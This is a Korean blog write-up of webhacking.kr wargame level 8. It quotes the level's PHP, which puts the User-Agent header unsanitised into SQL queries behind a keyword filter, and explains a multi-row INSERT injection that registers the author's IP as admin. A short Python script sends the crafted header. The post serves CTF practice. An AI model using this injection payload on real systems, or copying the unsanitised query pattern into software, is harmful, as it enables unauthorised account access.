webhacking/sql, sql injection

webhacking.kr 8번

qkqhxla1 2014. 8. 10. 13:47

중요 부분.


$pat="/\/|\*|union|char|ascii|select|out|infor|schema|columns|sub|-|\+|\||!|update|del|drop|from|where|order|by|asc|desc|lv|board|\([0-9]|sys|pass|\.|like|and|\'\'|sub/";


if(preg_match($pat,$agent)) exit("Access Denied!"); //agent값에서 $pat으로 필터리을 함.


$q=@mysql_query("select id from lv0 where agent='$_SERVER[HTTP_USER_AGENT]'"); //쿼리 돌려서

$ck=@mysql_fetch_array($q); 

if(
$ck) //결과가 admin이면 통과

echo(
"hi <b>$ck[0]</b><p>");
if(
$ck[0]=="admin")

{
@
solve();
@
mysql_query("delete from lv0");
}


}

if(!
$ck) //결과 없으면 insert문으로 삽입. 
{
$q=@mysql_query("insert into lv0(agent,ip,id) values('$agent','$ip','guest')") or die("query error");
echo(
"<br><br>done!  ($count_ck[0]/70)");
}


중요 부분만 보면 에이전트 부분에 어떤 작업을 해야되는데 필터링을 통과해서 작업을 해야되고


내가 영향을 줄 수 있는 부분은 아래의 insert문 이라는걸 알수 있음.


insert 문은 많이 알려져있듯이 insert into 테이블() values(), () 이런식으로 여러개 값 집어넣기 가능.


이걸 이용.




이걸 이용해서 admin으로 내 아이피주소를 입력하게 하고, 다른건 쓸때없게 만들면.


"insert into lv0(agent,ip,id) values('d','125.180.27.158','admin'),('b','$ip','guest')"

 

와 같이 유저 에이전트에 인젝션을 하면 내 아이피로 들어가면 admin이라고 인식.


코딩하면.(파이썬)


"""와 """사이의 문자는 문자열 모양 그대로(스페이스바,탭,줄내림까지 그대로) 들어갑니다.

 

두번째 인자가 문자열이기에 주로 ''로 문자열구분을 하고 값을 줬었지만, 값 사이에 '가 있어서 


문자열의 처음과 끝을 구분 못하기에 """같은걸로 감싸주면 제대로 인식 완료. \를 쓰는 방법도 

 

있지만 """가 가독성이 더 좋은것같아서 그냥 """를 씀.. 

import urllib, urllib2
 
form = urllib.urlencode({'id':'?????','pw':'?????'})
req = urllib2.Request('http://webhacking.kr',form)
res = urllib2.urlopen(req)
session = res.headers.get('set-cookie')
 
req = urllib2.Request('http://webhacking.kr/challenge/web/web-08/index.php')
req.add_header('cookie',session)
req.add_header('user-agent',"""d','125.180.27.158','admin'),('b""")
res = urllib2.urlopen(req)
 
req = urllib2.Request('http://webhacking.kr/challenge/web/web-08/index.php')
req.add_header('cookie',session)
req.add_header('user-agent','d')
res = urllib2.urlopen(req)
 
print res.read(20000) 

'webhacking > sql, sql injection' 카테고리의 다른 글

webhacking.kr 7번 소스코드  (0) 2014.08.19
webhacking.kr 7번  (0) 2014.08.19
rubiya님의 문서  (2) 2014.08.15
webhacking.kr 2번  (0) 2014.08.11
webhacking.kr 2번 소스코드  (0) 2014.08.10